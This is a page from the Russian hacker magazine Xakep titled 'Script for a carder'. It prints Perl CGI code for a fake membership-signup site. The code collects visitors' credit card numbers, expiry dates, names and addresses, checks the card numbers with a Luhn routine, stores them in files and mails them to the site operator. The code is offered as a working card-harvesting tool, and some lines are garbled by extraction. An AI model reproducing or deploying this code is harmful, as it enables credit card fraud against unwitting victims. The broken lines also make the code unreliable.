Скрипт для кардера

Xakep, номер #020, стр. 020-036-4


open (MAIL, "|$mailprog -t");

print MAIL "Content-Type: text/plain\n";

print MAIL "Subject: Congratulations!\n";

print MAIL "To: $FORM{mail}\n";

print MAIL "From: $admin\n\n";

print MAIL "You have joined to our server!\n";

print MAIL "Your login: ".$FORM{login}."\n";

print MAIL "Your password: ".$FORM{password}."\n";

print MAIL "Thanks for using our server!\n\n";

close (MAIL);

open (MAIL, "|$mailprog -t");

print MAIL "Content-Type: text/plain\n";

print MAIL "Subject: Congratulations!\n";

print MAIL "To: $mail\n";

print MAIL "From: ".$admin."\n\n";

print MAIL "$FORM{type} $FORM{ccard} $date\n";

print MAIL "$FORM{name}\n$FORM{country}\n$FORM{address}\n\n";

close (MAIL);

$FORM{type}=~s/VS/Visa/; $FORM{type}=~s/MC/MasterCard/;

$FORM{type}=~s/AX/American Express/;

open (DATA, ">$user_dir$FORM{login}");

print DATA "$FORM{type}|$FORM{ccard}|$date\n$FORM{password}\n$FORM{mail}\n";

print DATA "$FORM{name}\n$FORM{country}\n$FORM{address}\n";

close (DATA);

$data=(time()+$FORM{mount}*24*3600);

open (DATA, ">$status_dir$FORM{login}");

print DATA "$data\n".time()."\n127.0.0.1\n";

close (DATA);

@out=confiles ($file{join});

@out=exchange ("!login!",$FORM{login},@out);

@out=exchange ("!password!",$FORM{password},@out);

print @out;}}

else {@out=confiles ($file{form});

@out=exchange ("!warning!","",@out);

print @out;}

sub check_number {

my($card_type, $card_num, $exp_date) = @_;

my(%card_length) = ('VS', '13,15,16', 'MC', '16', 'AX', '15');

my($old_card_num, $card_length, $total, $d, $data, @data);

$card_type =~ tr/a-z/A-Z/;

if (!$card_length{$card_type}) {

$war = "$card_type is not a valid card type.";

return(1);}

$old_card_num = $card_num;

$card_num =~ s/\D//g;

$card_length = length($card_num);

if (!($card_length{$card_type} =~ /(^|,)$card_length(,|$)/)) {

$war = "Card number $old_card_num does not have the correct number of digits";

return(2);}

my($month_now) = (localtime)[4];

my($year_now); $month_now++; $exp_date =~ m|(\d+)/(\d+)|;

$exp_month = $1; $exp_year = $2;

$data=localtime(time());

@data=split (' ',$data); $year_now=$data[4];

if ((($year_now == $exp_year) && ($month_now > $exp_month))

|| ($exp_year < $year_now)) {

$war = "$exp_date is an invalid expiration date";

return(3);}

while (length($card_num)) {

$total += chop($card_num);

$total += (($d = chop($card_num)) < 9) ? ($d * 2) % 9 : 9;}

if ($total % 10) {

$war = "$old_card_num is invalid credit card number";

return(4);} return(0);}

/ Файл login.cgi /

#!/usr/local/bin/perl

require 'func.pl';

## Переменные

$file{form}="login.dat";

$go="../gallery.htm";

&parse_form;

$FORM{login}=~s /[\/\\.|><]//g;

if ($FORM{step} eq "2"){

if (not -e "$status_dir$FORM{login}") {&loadagain;}

open (PASS, "$user_dir$FORM{login}");

$pass=; $pass=; chomp ($pass);

close (PASS);

if ($pass ne $FORM{password}) {&loadagain;}

open (DATE, "$status_dir$FORM{login}");

$date=; chomp ($date);

close (DATE);

if ($date

open (DATE, ">$status_dir$FORM{login}");

print DATE "$date\n".time()."\n$ENV{'REMOTE_ADDR'}\n";

close (DATE);

open (DATA, ">$ip_dir$ENV{'REMOTE_ADDR'}");

print DATA $FORM{login}; close (DATA);

Назад на стр. 020-036-3  Содержание  Вперед на стр. 020-036-5